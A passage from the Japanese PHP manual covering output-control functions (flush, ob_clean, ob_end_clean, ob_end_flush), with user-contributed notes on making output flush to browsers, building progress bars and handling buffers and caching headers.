In my case, as the frontend was Nginx webserver and Apache work as backend.
Accordingly, buffering must be disabled in Nginx config file.
To stop buffering you must add next string to config file:

--[code]--
proxy_buffering off;
--[^code^]--

and restart Nginx daemon.  More information about  configuration you find in documentation on the nginx website.
jason@jasonbaumgartner@info 16-Jun-2009 05:18
Many of the suggestions below are very helpful but I would just like to clarify something.

If you are making calls to a .php script with AJAX (xmlHttpReq) and use flush, this will send data to your script HOWEVER it will not set the xmlHttpReq.readyState to 4 -- which is a requirement to use the information sent (Firefox does however allow you to use the responseText property with a readyState == 3 but IE will throw an error).

To get around this, you will need to make sure of a couple things:

In your Apache php.ini config file, check to make sure that output buffering is disabled:

output_buffering = off

Next, disable gzip compression for the .php script that is called from your AJAX script by using the excellent suggestion from Mandor by placing the following at the top of your script:

@apache_setenv('no-gzip', 1);
@ini_set('zlib.output_compression', 0);

What causes this problem is that while the php child process is running under apache, apache is waiting for the script to complete before completely closing the connection.  Scripts that send information directly to the browser with echos and prints will get away with using flush followed by a sleep command and then clean up procedures.  However, if you notice in the status bar of your browser window, the connection is still held open by apache until the script completed ("Transferring" ... yadda yadda).

By turning off the Apache compression, the connection is terminated directly after a flush while still giving the user the ability to run a sleep command followed by clean up code.

This bit me because the AJAX was returning <img> tags to newly created images by php.  The cleanup script would then remove those images after completion.

Since Apache held the connection open, the readyState only changed to 4 AFTER my php cleanup fired -- thereby erasing the links referred to my the <img> tags.

With this solution, the readyState will change to 4 BEFORE the sleep command begins.

I hope this saves someone a lot of time and frustration.  AJAX requests are an entirely different beast compared with simple outputting to a browser window.
mandor at mandor dot net 22-Dec-2008 07:20
This is what I use to turn off pretty much anything that could cause unwanted output buffering and turn on implicit flush:

<?php

    @apache_setenv('no-gzip', 1);
    @ini_set('zlib.output_compression', 0);
    @ini_set('implicit_flush', 1);
    for ($i = 0; $i < ob_get_level(); $i++) { ob_end_flush(); }
    ob_implicit_flush(1);

?>

If it still fails though, keep in mind that Internet Explorer and Safari have a 1k buffer before incremental rendering kicks in, so you'll want to output some padding as well.
Arerano 16-Nov-2008 06:58
This helped me getting flushing to work.
Using apache with deflate.

Turning compression off for this script: (add it somewhere at the top of the script)
apache_setenv('no-gzip', '1');

However, this only works if php is running as a module rather than a cgi-extension and safe mode must be disabled.

You can also turn the compression off for a directory by making a .htaccess file and adding the following entry:
mod_gzip_on Off

However that affects the whole directory.
Hope I could help.
Mr.KTO 12-Oct-2008 06:14
IE 7, Opera 9.6, any. All is quite simple. Today I just fogot what i do every night, :)

<?php
// All you need is 256 spaces first
echo str_repeat(" ", 256)."<pre>"; flush();

// and ANY TAG before \r\n
echo "working...<br/>\r\n"; flush(); sleep(1); // this in cycle
?>
Lucas 27-Aug-2008 03:12
I just had some problems with flush() and ob_flush(). What I did to resolve this problem took me some time to figure out so I'd like to share what I came up with.

The main problem is the php setting "output_buffering" which can be set too large and will prevent your text from outputting. To change this value you can either set it in php.ini or you can add the line

php_value output_buffering "0"

to your .htaccess file. It will not work with ini_set() since it is PHP_INI_PERDIR.

Next thing is to begin with ob_start();
Then you need
ob_flush();
flush();
before any echo or print.

Your code might look like this:

<?php
ob_start();

for($i=0;$i<70;$i++)
{
    echo 'printing...<br />';
    ob_flush();
    flush();

    usleep(300000);
}

?>

Hope this helps anyone with the same problems.
David 07-May-2008 02:32
mod_security 2.x core rules will also prevent flush() from working.
chuck at artistan dot org 27-Jun-2007 06:57
had problems flushing tables to screen.
this worked for me

<?php
if (ob_get_level() == 0) ob_start();
loop{
    tables and stuff
    echo str_pad("<br>\n",8);
}
ob_flush();
flush();  // needed ob_flush
usleep(50000);// delay minimum of .05 seconds to allow ie to flush to screen
?>
mbilliet at gmail dot com 13-May-2007 03:13
Hello,

I had the same problems with sending a javascript after the <body></body> content has been sent to the browser (the script updates the content of an iframe).

Two solutions work for me:
   - add enough data (i.e.: extra dummy text like spaces) or,
   - echo the '</body>' tag at the end of the page

Note, that for the latter to work one should:
   - turn of output_buffering in php.ini and either:
      * turn on implicit_flush in its php.ini or,
      * call ob_implicit_flush(); at the beginning of a script

I preferr echoing the '</body>' tag at the end as it doesn't require any extra data to be sent over the wire and its much a neater coding technique.

Notes:
   - these worakarounds aren't needed when using perl and cgi,... .
   - you can leave the zlib.output_compression in your php.ini switched on

Kind regards and hoped this is of any help.

Maurits
macott[D0T]daiato[4T]gmail[D0T]com 24-Apr-2007 12:17
If flush() don't work remember to check if you have any antivirus caching the data sent to the browser.
Leon 30-Mar-2007 04:14
I've spent days trying to figure out why flush didn't work all of a sudden, while it used to work perfectly. Apparently, it was McAfee Spamkiller that caused problems. Disabling it didn't work, I had to completely remove it. Hope this helps someone.
Kirk 06-Feb-2007 12:25
If you're not explictly using the buffering functions, then ob_flush() is only necessary if output buffering is turned on in your php.ini file.

flush() is only necessary if implicit_flush is turned off in your php.ini file. Setting implicit_flush to on will remove the need for all these flush() calls, but it's generally only good in an extremely controlled environment. Turning on implicit_flush in a production environment can be bad.
no at spam dot com 03-Aug-2006 11:51
ob_flush();flush();

Not the other way around, because it wont work.
vlad at modomail dot com 05-Apr-2006 06:46
Sorry if this is off topic, but it's the closest place I could find :)  I had an issue with essentially running a CPU intensive task while updating the browser with a progress bar via javascript and flushing the buffer a lot.

When the script was running, it effectively blocked other pages from running.  I had a few extra httpd_preforks processes just waiting to be used, but they just sat there.  I wasn't reading a file, locking database tables or anything that I would suspect an exclusive lock on, just outputting a bunch of text to the browser.  I even tried throttling my loops to see if it was processor related but still had problems.

Finally, I found this in the php.ini file and changed the On to Off and it worked.

[Sockets]
; Use the system read() function instead of the php_read() wrapper.
sockets.use_system_read = Off

Posting in case someone else has the same issue (or if someone knows why this would make a difference :) ).
mega023 at gmail dot com 25-Nov-2005 03:54
If flush is not working probably mod_gzip is enabled.
To disable it just add following lines to .htaccess

<IfModule mod_gzip.c>
mod_gzip_on no
</IfModule>
mikael at oebb dot net 03-Oct-2005 01:47
Hi all.
Been scratching my head over data NOT flushed to IE (6) even though I tried strpad 4096 chars, all headers OK,  TABLE and no TABLE, flush and ob_flush - still a blank page. Tried adding a sleep(1) before flushing - and everything worked as a charm.

/Mikael
20-Sep-2005 12:37
In my testing, Internet Explorer 6.0 wouldn't flush anything nested in <table> or <td> tags, regardless of padding. But at the <body> level everything flushed with no fuss -- no padding or tags required.

Both Firefox 1.0 and Safari 2.0 could flush within tables, and both required a tag after the text (like <br>). Safari could flush only after the first 1024 characters where received. Firefox needed at least 8 characters per flush (but it could flush anything at the <body> level).

So the only thing that worked on all those browsers was this:

<html>
<body>
<?php  // not in table tags for IE
echo str_pad('',1024);  // minimum start for Safari
for ($i=10; $i>0; $i--) {
    echo str_pad("$i<br>\n",8);
    // tag after text for Safari & Firefox
    // 8 char minimum for Firefox
    flush();  // worked without ob_flush() for me
    sleep(1);
}
?>
</body>
</html>
js at jeansebastien dot com 16-Jul-2005 11:41
This will show each line at a time with a pause of 2 seconds.
(Tested under IEx and Firefox)

<?php

if (ob_get_level() == 0) ob_start();

for ($i = 0; $i<10; $i++){

        echo "<br> Line to show.";
        echo str_pad('',4096)."\n";

        ob_flush();
        flush();
        sleep(2);
}

echo "Done.";

ob_end_flush();

?>
MOELZE ?T GMX DOt DE (Michael) 15-May-2005 04:38
It is a bit complicated to work with the funktion flush() and you have to experiment with it a bit.
So if you design a site which has a timeloop at the end that calls a other site via a form data input (Data Submit) you have
to give something out to the buffer to get that new site loaden quick.

For example:

<?php
$instant=gettimeofday();
$timenow=$instant["sec"];//Start Time

//timeloop(e.g. for security_save after 30 min)
while (1) { echo "<b></b>";//Useless (only to quickload next
                                    //or same Site when do a switch)
flush();                          //giveout buffer
$instant=gettimeofday();
$timeactual=$instant["sec"]; //get Actual Time in Secs
$flag=(($timeactual>$timenow+$diff)? 1:0);//$diff=switchTime
if ($flag) { what_do_at_switch_Time();//Sec.Save etc.etc.
$timenow=$timeactual; } //Set new Start Time
sleep(5); //Or so...(Important)
} //End of while-Loop
?>

So you can programm a security save or other function in your site and if you do a switch the upload of the new or same site (the called site) works...
Alex 22-Apr-2005 02:35
Modified progress bar.. Works in IE, Mozilla+FF.

<html>
<head>
<style type="text/css"><!--

div {
 margin: 1px;
 height: 20px;
 padding: 1px;
 border: 1px solid #000;
 width: 275px;
 background: #fff;
 color: #000;
 float: left;
 clear: right;
 top: 38px;
 z-index: 9
}

.percents {
 background: #FFF;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 position:absolute;
 width:275px;
 z-index:10;
 left: 10px;
 top: 38px;
 text-align: center;
}

.blocks {
 background: #EEE;
 border: 1px solid #CCC;
 margin: 1px;
 height: 20px;
 width: 10px;
 position: absolute;
 z-index:11;
 left: 12px;
 top: 38px;
 filter: alpha(opacity=50);
 -moz-opacity: 0.5;
 opacity: 0.5;
 -khtml-opacity: .5
}

-->
</style>
</head>
<body>

<?php

if (ob_get_level() == 0) {
    ob_start();
}
echo str_pad('Loading... ',4096)."<br />\n";
for ($i = 0; $i < 25; $i++) {
    $d = $d + 11;
    $m=$d+10;
    //This div will show loading percents
    echo '<div class="percents">' . $i*4 . '%&nbsp;complete</div>';
    //This div will show progress bar
    echo '<div class="blocks" style="left: '.$d.'px">&nbsp;</div>';
    flush();
    ob_flush();
    sleep(1);
}
ob_end_flush();
?>
<div class="percents" style="z-index:12">Done.</div>
</body>
</html>
Marty 14-Apr-2005 08:33
This is an extention of Rusty's comment below:

After sitting here for hours trying to make IE6 flush data out in the middle of a page (with it working perfectly in Firefox), I finally figured out the problem. IE will not display flushed data (even if it has it) unless the table that contains it is complete.

Every new element you want IE to display must not be in ANY kind of table at all. You must end all your tables.
Ghostshaw at spymac dot com 07-Apr-2005 04:45
I would like to point out that there is a function to replace ob_flush and flush. If you set ob_implicit_flush(true); at the top of the page it will automatically flush any echo or print you do in the rest of the script.

Note that you still need a minimum amount of data to come through the browser filter. I would advice using str_pad($text,4096); since this automatically lenghtens the text with spaces to 4 KB which is the minimum limit when using FireFox and linux.

I hope this helps you all out a bit.
matt at nospamplease dot hevanet dot com 21-Mar-2005 10:42
Like IE, Safari needs a fair amount of data before it'll display anything, actually more than explorer.  The following code works for me in Firefox and Safari, and should work in IE as well.

<?php

for($i = 0; $i < 40000; $i++)
{
echo ' '; // extra spaces
}
// keeps it flowing to the browser?
flush();
// 50000 microseconds keeps things flowing in safari, IE, firefox, etc
usleep(50000);

?>

This code came from a comment on a blog discussing browser functionality with flush();
crmacd at yahoo dot com 04-Mar-2005 03:28
I figured out a way to create a simple progress bar that is for the most part cross platform. Seeing as I got my ideas from this site it's only share to give back to the community.

Note: Something interesting about browser buffering... you have to have the <html><body> for Firefox and some other browsers to recognize items by their id in Javascript. So I recommend using some sort of header function before calling this function.

<?php

function fn_progress_bar($intCurrentCount = 100, $intTotalCount = 100)
{
    static $intNumberRuns = 0;
    static $intDisplayedCurrentPercent = 0;
    $strProgressBar = '';
    $dblPercentIncrease = (100 / $intTotalCount);
    $intCurrentPercent = intval($intCurrentCount * $dblPercentIncrease);
    $intNumberRuns++;

    if(1 == $intNumberRuns)
    {
        $strProgressBar = <<< BAR
<table width='50%' id='progress_bar' summary='progress_bar' align='center'><tbody><tr>
<td id='progress_bar_complete' width='0%' align='center' style='background:#CCFFCC;'>&nbsp;</td>
<td style='background:#FFCCCC;'>&nbsp;</td>
</tr></tbody></table>
<script type='text/javascript' language='javascript'>
function dhd_fn_progress_bar_update(intCurrentPercent)
{
    document.getElementById('progress_bar_complete').style.width = intCurrentPercent+'%';
    document.getElementById('progress_bar_complete').innerHTML = intCurrentPercent+'%';
}
</script>
BAR;
    }
    else if($intDisplayedCurrentPercent <> $intCurrentPercent)
    {
        $intDisplayedCurrentPercent = $intCurrentPercent;
        $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
dhd_fn_progress_bar_update($intCurrentPercent);
</script>
BAR;
    }
    if(100 <= $intCurrentPercent)
    {
        $intNumberRuns = $intDisplayedCurrentPercent = 0;
        $strProgressBar = <<< BAR
<script type='text/javascript' language='javascript'>
document.getElementById('progress_bar').style.visibility='hidden';
</script>
BAR;
    }
    echo $strProgressBar;
    flush();
    ob_flush();
}

?>
siggi AT june systems DOT com 04-Mar-2005 07:54
After searching through the PHP site, google and various forums, not finding a solution to my script not outputting anything while calling flush and ob_flush, I thought of trying to tell PHP to call:

session_write_close();

before starting echo'ing. It worked like a charm. I couldn't find any references to this, so I hope this note will help someone in the future.
Squ1sher 01-Feb-2005 12:25
On Windows xampp 1.3 with php 4.3.4 is use this functions
to force a flush.
<?php
function dummyErrorHandler ($errno, $errstr, $errfile, $errline) {
}

function forceFlush() {
    ob_start();
    ob_end_clean();
    flush();
    set_error_handler("dummyErrorHandler");
    ob_end_flush();
    restore_error_handler();
}
?>

ob_end_flush generates a warning, which is supressed, using the dummy-errorhander. You could also use @, but then nusphere will also print the warning.
Rusty 24-Feb-2004 09:25
Netscape will flush the output as expected at the point it is called from within your script. IE, however, needs a boost.

IE seems to have a condition where it will flush data when it hits an end (</table>) tag AND has at least 256 chars of data.

So, pad your output with necessary spaces, wrap your progressing data around open (<table>) and end (</table>) tags, and then call flush() so that one script will work for Netscape as well.

TESTING ENVIRONMENT
IE: Ver/6.0.2800
Netscape: Ver/7.1
PHP: Ver/4.3.4
Apache: Ver/1.3.27
m@rco 29-Oct-2003 07:22
in order to display in HTML pages something like a "progress bar" or if you want to force the web server to flush output to the browser, or the browser to flush as well, you can print a long enough "dummy" string to make the output buffer grow, as you probably know, like:

<?php
print "[";

for($i = 0; $i < 100; $i++){
  $spaces.=" ";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
    //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

/*
but this somethin may be not really what you expect in
a progress bar, as it prints spaces (although rendered as single by the browser) between the bar units..
you can solve this using
  $spaces.="<!-- bufferme -->";

/*

print "[";

for($i = 0; $i < 100; $i++){
  $spaces.="<!-- bufferme -->";
} // for

//and then

for($i = 0; $i < 10; $i++){
  for($ii = 0; $ii < 200000; $ii++){
    //do something slow here
  } // for
  print "$spaces|";
  flush();
} // for

print "]";

//which looks nice as a progress bar..
?>
scottmacvicar at ntlworld dot com 30-Sep-2003 07:40
Regarding Apache2
flush() will produce the same results as ob_flush() when output buffering is involved.


出力バッファをクリア(消去)する

  • ≪ flush
  • ob_end_clean ≫
  • PHP Manual
  • 出力制御 関数
  • 出力バッファをクリア(消去)する

ob_clean

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_clean — 出力バッファをクリア(消去)する

説明

ob_clean ( ) : bool

この関数は、出力バッファの内容を消去します。

この関数は、ob_end_clean() のように出力バッファを破棄するわけではありません。

出力バッファを開始するときに、 ob_start() で PHP_OUTPUT_HANDLER_CLEANABLE フラグを指定する必要があります。指定しなければ、ob_clean() は動作しません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ob_flush() - 出力バッファをフラッシュ(送信)する
  • ob_end_flush() - 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする
  • ob_end_clean() - 出力用バッファをクリア(消去)し、出力のバッファリングをオフにする

User Contributed Notes

ngoc dot lo dot dang at gmail dot com 21-Jun-2017 09:24
Note that ob_clean() and ob_end_clean() do not clean header sent with header()
alexander at mralexander dot ca 07-May-2014 03:40
In case there is nothing output yet to the buffer and then implementing the ob_clean() a (soft) error notice would be generated such as the following:

Notice: ob_clean() [ref.outcontrol]: failed to delete buffer. No buffer to delete. in [file-path]

you could do a simple check with "ob_get_contents()" to make sure that there is anything in the buffer.
meustrus 12-Dec-2013 08:59
@cornel: It's easy enough to say "Don't do that" when you think you've got the person right in front of you. But one doesn't always have the original coder, or even one of a dozen of the original coders. Are you really suggesting that it would be wrong to use this function as a band-aid when the alternative may be looking through hundreds of source files you didn't write for errors you didn't introduce?

To your point, though, it is (or should be) a commonly accepted best practice to not put closing PHP tags at the end of files. When, however, enforcing that would take a time machine, it's appropriate to use ob_clean() as a band-aid to make dynamically generated images work as expected.
cornel at scoalaweb dot com 21-Dec-2012 11:02
Don't use ob_clean() to clear white-space or other unwanted content "accidentally" generated by included files.
Included files should not generate unwanted content in the first place.
If they do, You are doing something wrong, like inserting white-space after "?>" (there should not be a "?>" at the end of PHP files: http://php.net/manual/en/language.basic-syntax.phptags.php ).
lev at taintedthoughts dot com 12-Jun-2007 02:23
I find this function incredibly useful when manipulating or creating images in php (with GD).

I spent quite a while searching through a large number of included files to find where I had a undesired space after php's ending tag - as this was causing all my images on the fly to break due to output already being set. Even more annoying was that this was not caught not php's error reporting so there was no reference to the problem line(s) in my log file. I don't know why error reporting wouldn't catch this since it was set to accept warnings, and the same thing had been caught in the past.

Nevertheless, I never did find the line(s) that were adding extra spaces or new lines before my images were being generated, but what I did instead was add this handy function right before my image manipulation code and right after the include/require code.

For example:

<?php

// require some external library files
require ("lib/somelibrary.php");
require ("lib/class/someclass.php");

// clean the output buffer
ob_clean();

// simple test image
header("Content-type: image/gif");
$im = imagecreate (100, 50);
imagegif($im);
imagedestroy($im);

?>

While this may seem trivial a trivial use of the function, it in fact is incredibly useful for insuring no extra spaces or new lines have already been output while making images in php. As many of you probably already know, extra lines, spacing and padding that appears prior to image-code will prevent the image from being created. If the file "lib/somelibrary.php" had so much as an extra new line after the closing php tag then it would completely prevent the image from working in the above script.

If you work on an extremely large project with a lot of source and required files, like myself, you will be well-advised to always clear the output buffer prior to creating an image in php.


出力用バッファをクリア(消去)し、出力のバッファリングをオフにする

  • ≪ ob_clean
  • ob_end_flush ≫
  • PHP Manual
  • 出力制御 関数
  • 出力用バッファをクリア(消去)し、出力のバッファリングをオフにする

ob_end_clean

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_end_clean — 出力用バッファをクリア(消去)し、出力のバッファリングをオフにする

説明

ob_end_clean ( ) : bool

出力用バッファの内容を消去し、出力のバッファリングをオフにします。
バッファの内容について更に何らかの処理を行いたい場合には、
バッファの内容は ob_end_clean() がコールされると
破棄されるため、ob_end_clean() の前に
ob_get_contents() をコールしなければなりません。

出力バッファを開始するときに、 ob_start() で PHP_OUTPUT_HANDLER_CLEANABLE および PHP_OUTPUT_HANDLER_REMOVABLE フラグを指定する必要があります。指定しなければ、ob_end_clean() は動作しません。

返り値

成功した場合に true を、失敗した場合に false を返します。 失敗する原因は、まず、アクティブなバッファ以外に対して この関数をコールしたか、あるいは何らかの理由により バッファを消去することができなかった場合です（特殊なバッファ等）。

エラー / 例外

この関数は失敗すると E_NOTICE レベルのエラーを発行します。

例

以下は全ての出力バッファを消去する簡単な方法の例です。

例1 ob_end_clean() の例

<?php
ob_start();
echo 'Text that won\'t get displayed.';
ob_end_clean();
?>

参考

  • ob_start() - 出力のバッファリングを有効にする
  • ob_get_contents() - 出力用バッファの内容を返す
  • ob_flush() - 出力バッファをフラッシュ(送信)する

User Contributed Notes

baklanoid at gmail dot com 23-Apr-2020 09:34
If there is no confidence about output buffering (enabled or not),
you may try these guards:

<?php

while (ob_get_level() !== 0) {
  ob_end_clean();
}

// or

while (ob_get_length() !== false) {
  ob_end_clean();
}

?>
Anonymous 19-Oct-2017 07:04
To safely clear and close all non-lethal output buffers:

<?php

function ob_end_clean_all() {
    $handlers = ob_list_handlers();
    while (count($handlers) > 0 && $handlers[count($handlers) - 1] != 'ob_gzhandler' && $handlers[count($handlers) - 1] != 'zlib output compression') {
        ob_end_clean();
        $handlers = ob_list_handlers();
    }
}
Sam Yong - hellclanner at live dot com 04-May-2011 10:14
Take note that if you change zlib output compression setting in between ob_start and ob_end_clean or ob_end_flush, you will get an error: ob_end_flush() failed to delete buffer zlib output compression

Example:

<?php

ob_start();

$output = ob_get_contents();

ini_set('zlib.output_compression', '1');

ob_end_clean();

?>

ob_end_clean(); in this example will throw the error.
netom at elte dot hu 21-Jan-2010 04:02
Notice that ob_end_clean() does discard headers.

If you would like to clear the output buffer, but not the headers (because you use firephp for example...), than this is the solution:

<?php
   ...

    $headers = array();
    if ( !headers_sent() ) {
      $headers = apache_response_headers();
    }

    ob_end_clean();
    ob_start();

    if ( !empty( $headers ) ) {
      foreach ( $headers as $name => $value ) {
        header( "$name: $value" );
      }
    }

   ...
?>

I use it in a general exception handler in a web application, where I clear the buffer (but not the debug-info-containing headers), and send a 500 error page with readfile().

Good PHPing,

Tamas.
tyler @ 10-Aug-2008 04:39
In reference to <geoff at spacevs dot com> where he states, "If you call ob_end_clean in a function registered with 'register_shutdown_function', it is too late, any buffers will have already been sent out to the client.", here is a workaround I came up with.

<?php

function ClearBuffer($Buffer) {
    return "";
}

function Shutdown() {
    ob_start("ClearBuffer");
}

register_shutdown_function("Shutdown");

?>

This will wipe out all the contents of the output buffer as it comes in. Basically its the same as "STDOUT > /dev/null".
geoff at spacevs dot com 22-Jul-2007 05:47
If you call ob_end_clean in a function registered with "register_shutdown_function", it is too late, any buffers will have already been sent out to the client.
everling 11-Nov-2006 02:04
Keep in mind that mrfritz379's example (#49800) is just an example. You can achieve that example's result in a more efficient manner without using output buffering functions:

echo "<p>Search running. Please be patient. . .";
$output = "<p>FileList: </p>\n";
if (is_dir($dir)) {
  $dh = opendir($dir);

  while (($fd = readdir($dh)) != false) {
    echo " .";
    $output .= $fd;
  }
}
echo "</br>Search Complete!</p>\n";
echo $output;

In addition to John Smith's comment (#42939), ob_gzhandler() may still set the HTTP header "Content-Encoding" to "gzip" or "deflate" even if you call ob_end_clean(). This will cause a problem in the following situation:

1. Call ob_gzhandler().
2. Echo "Some content";
3. Call ob_end_clean().
4. Echo "New content";

In the above case, the browser may receive the "Content-Encoding: gzip" HTTP header and attempts to decompress the uncompressed "New content". The browser will fail.

In the following situation, this behaviour will go unnoticed:

1. Call ob_gzhandler().
2. Echo "Some content";
3. Call ob_end_clean().
4. Call ob_gzhandler().
5. Echo "New content";

This is because the second ob_gzhandler() will mask the absence of the first ob_gzhandler().

A solution would be to write a wrapper, like John Smith did, for the ob_gzhandler().
Adam of Fusion Bay 18-May-2006 12:38
You may want to be careful about calling ob_end_clean() from within your call-back function. I believe this can produce an endless-loop within PHP.
mrfritz379 08-Feb-2005 06:14
This may be posted elsewhere, but I haven't seen it.
To run a progress indicator while the program is running without outputting the output buffer, the following will work:

echo "<p>Search running. Please be patient. . .";
$output = "<p>FileList: </p>\n";
if (is_dir($dir)) {
   $dh = opendir($dir);

   while (($fd = readdir($dh)) != false) {
      echo " .";
      ob_start();
      echo $fd;
      $output .= ob_get_contents();
      ob_end_clean();
    }
}
echo "</br>Search Complete!</p>\n";
echo $output;

The program will continue to print the " ." without printing the file list. Then the "Search Complete" message will print followed by the buffered file list.
John Smith 04-Jun-2004 04:39
Note that if you started called ob_start with a callback, that callback will still be called even if you discard the OB with ob_end_clean.

Because there is no way of removing the callback from the OB once you've set it, the only way to stop the callback function from having any effect is to do something like:

<?php
$ignore_callback = false;
ob_start('my_callback');
...
if($need_to_abort) {
   $ignore_callback = true;
   ob_end_clean();
   ...
}

function my_callback(&$buffer) {
  if($GLOBALS['ignore_callback']) {
     return "";
  }
  ...
}
?>
daijoubuNOSP at Mvideotron dot com 22-Feb-2004 01:11
About the previous comment:
You can also relay on ETag and simply use time()

<?php
$time = time();
$mins = 1;
if (isset($_SERVER['HTTP_IF_NONE_MATCH']) and str_replace('"', '', $_SERVER['HTTP_IF_NONE_MATCH'])+($mins*60) > $time)
{
    header('HTTP/1.1 304 Not Modified');
    exit();
}
else
{
    header('ETag: "'.$time.'"');
}
echo 'Caching for ', $mins*60, 'secs<br/>', date('G:i:s');
?>
programmer at bardware dot de 27-Jun-2003 06:32
You might want to prevent your script from executing if the client already has the latest version.
You can do it like so:

ob_start();

$mtime=filemtime($_SERVER["SCRIPT_FILENAME"])-date("Z");
$gmt_mtime = date('D, d M Y H:i:s', $mtime) . ' GMT';

$headers = getallheaders();

if(isset($headers["If-Modified-Since"])) {
    if ($headers["If-Modified-Since"] == $gmt_mtime) {
        header("HTTP/1.1 304 Not Modified");
        ob_end_clean();
        exit;
    }
}

$size=ob_get_length();
header("Last-Modified: ".$gmt_mtime);
header("Content-Length: $size");
ob_end_flush();

Instead of checking the If-Modified-Since-Header against the date of the last modification of the script, you can of course query a database or take any other date that is somehow related to the modification of the result of your script.

You can for instance use this technique to generate images dynamically. If the user indicates he already has a version of the image by the If-Modified-Since-Header, there's no need to generate it and let the server finally discard it because the server only then interpretes the If-Modified-Since-Header.
This saves server load and shortens response-times.


出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする

  • ≪ ob_end_clean
  • ob_flush ≫
  • PHP Manual
  • 出力制御 関数
  • 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする

ob_end_flush

(PHP 4, PHP 5, PHP 7, PHP 8)

ob_end_flush — 出力用バッファをフラッシュ(送信)し、出力のバッファリングをオフにする

説明

ob_end_flush ( ) : bool

この関数は、出力用バッファの内容を出力し、出力のバッファリングをオフにします。
出力用バッファの内容を更に処理したい場合には、
バッファの内容は ob_end_flush() がコールされた後に消去されるため、
ob_end_flush() の前に
ob_get_contents() をコールする必要があります。

出力バッファを開始するときに、 ob_start() で PHP_OUTPUT_HANDLER_FLUSHABLE および PHP_OUTPUT_HANDLER_REMOVABLE フラグを指定する必要があります。指定しなければ、ob_end_flush() は動作しません。

注意: この関数は ob_get_flush() に似ていますが、 ob_get_flush() はバッファを文字列として返すという点が違います。

返り値

成功した場合に true を、失敗した場合に false を返します。 失敗する原因は、まず、アクティブなバッファ以外に対してこの 関数をコールしたか、あるいは何らかの理由により バッファを消去することができなかった場合です（特殊なバッファ等）。

エラー / 例外

この関数は失敗すると E_NOTICE レベルのエラーを発行します。

例

例1 ob_end_flush() example

以下は全ての出力バッファをフラッシュし終了する簡単な方法の例です。

<?php
  while (@ob_end_flush());
?>

参考

  • ob_start() - 出力のバッファリングを有効にする
  • ob_get_contents() - 出力用バッファの内容を返す
  • ob_get_flush() - 出力バッファをフラッシュし、その内容を文字列として返した後で出力バッファリングを終了する
  • ob_flush() - 出力バッファをフラッシュ(送信)する
  • ob_end_clean() - 出力用バッファをクリア(消去)し、出力のバッファリングをオフにする

User Contributed Notes

nico (at) nokes.de 26-Aug-2012 04:24
best way to compress a css code:

<?php
  header('Content-type: text/css');

  ob_start("compress");
  function compress($buffer) {
    // remove comments
    $buffer = preg_replace('!/\*[^*]*\*+([^/][^*]*\*+)*/!', '', $buffer);
    // remove tabs, spaces, newlines, etc.
    $buffer = str_replace(array("\r\n", "\r", "\n", "\t", '  ', '    ', '    '), '', $buffer);
    return $buffer;
  }

  include('./template/main.css');
  include('./template/classes.css');

<?php
  ob_end_flush();
?>

Include in <head>:
<link rel="stylesheet" type="text/css" href="/design.php" media="all" />
anatoliy at miraline dot com 11-Apr-2011 09:06
If you enable zlib.output_compression then level count will be increased by 1 and then this code:

<?php while (ob_get_level()) { ob_end_clean(); } ?>

will just freeze your script.
Mark 24-Jun-2010 01:49
Wanted to speed things up and put some processing after the page has been delivered to the client. That drove me almost insane, but finally, I found a solution (php 5.2.5):

<?php
ob_start(); // outer buffer
ob_start(); // inner buffer to catch URL rewrites and other post processing
session_start(); // registers URL rewriter with inner buffer!
echo '...';
// log performance data to log files *after* delivering the page!
register_shutdown_function(array($benchmarkclass,'log_perf_data'));
// now flush output output to client
ob_end_flush();
// need to calculate content length *after* URL rewrite!
header("Content-length: ".ob_get_length());
ob_end_flush();
// now we close the session and do some arbitrary clean-up tasks
// registered using register_shutdown_function()
session_write_close();
?>
unxed 06-Mar-2010 06:50
Remember that chromium browser (and maybe other webkit-based browsers) have some issues with ob_end_flush.

http://code.google.com/p/chromium/issues/detail?id=31410

You may use
header("Content-Type: text/plain");
to solve those issues if you do not need html.
shanep 21-Jan-2010 09:31
It appears that ob_end_flush() is very important if you are looping.  For instance if you are using a mass mailer that uses the output buffer for creating HTML content.  Use ob_end_flush() to avoid server errors.
skippy at zuavra dot net 01-Jul-2005 02:10
Apart from being mostly redundant, ob_end_flush() can be downright damaging in some weird cases.

Actual example: a particular page on an Intranet website which would appear blank on Internet Explorer 6 when ob_start('ob_gzhandler') was called in the beginning and ob_end_flush() at the end.

We couldn't figure out what made that page special no matter what we tried. The ob_ functions were placed in scripts which were include()'d by all pages just the same, but only that page did this.

Even stranger, the problem only appeared on direct browser/server connections. Whenever the connection passed through a proxy the problem dissapeared. I'm guessing some kind of HTTP encoding headers mumbo-jumbo.

Solution: unless you really need it in particular cases, remove the ob_end_flush() call and rely on the builtin, automatic buffer flush.
jhannus at 128kb dot com 05-Jun-2004 09:18
A note on the above example...

with PHP 4 >= 4.2.0, PHP 5 you can use a combination of ob_get_level() and ob_end_flush() to avoid using the @ (error suppresion) which should probably be a little faaster.

<?php

while (ob_get_level() > 0) {
    ob_end_flush();
}

?>
kriek at jonkriek dot com 29-Mar-2003 09:22
ob_end_flush() isn't needed in MOST cases because it is called automatically at the end of script execution by PHP itself when output buffering is turned on either in the php.ini or by calling ob_start().
brett at realestate-school dot com 26-Sep-2002 01:01
It appears that you can call ob_end_flush() regardless of whether or not output buffering was ever started using ob_start(). This can prove useful because it saves you from having to create conditional statements based on whether a particular function or include file has started output buffering. You can simply call the ob_end_flush() anyway and if there's output in the buffer, it will be sent, otherwise your script will just keep on keepin' on.


出力バッファをフラッシュ(送信)する

  • ≪ ob_end_flush
  • ob_get_clean ≫
  • PHP Manual
  • 出力制御 関数
  • 出力バッファをフラッシュ(送信)する

ob_flush

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ob_flush — 出力バッファをフラッシュ(送信)する

説明

ob_flush ( ) : bool

